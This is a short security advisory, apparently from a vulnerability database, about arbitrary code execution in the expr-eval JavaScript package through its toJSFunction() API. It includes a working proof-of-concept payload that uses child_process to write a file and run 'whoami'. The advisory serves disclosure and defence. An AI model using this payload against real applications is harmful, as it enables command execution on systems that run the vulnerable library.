Code Execution Affecting expr-eval package, versions *

expr-eval is a Mathematical expression evaluator

Affected versions of this package are vulnerable to Code Execution via the toJSFunction() API. An attacker can execute arbitrary JavaScript by supplying crafted expressions that are compiled into native code using new Function(). Because user-controlled expressions are transformed directly into executable JavaScript, attackers can escape the intended expression sandbox and run arbitrary code within the application's context.

js

const { Parser } = require('expr-eval');

const parser = new Parser();
const expr = parser.parse('[cmd]');
const payload = {
  toString: () =>     (function(){       const fs = process.mainModule.require('fs');       const cp = process.mainModule.require('child_process');       fs.writeFileSync('expr-eval-poc.txt', 'PWNED');       return cp.execSync('whoami').toString().trim();     })()  
};
const fn = expr.toJSFunction('', { cmd: payload });
console.log(fn());

• GitHub Issue
• Vulnerable Code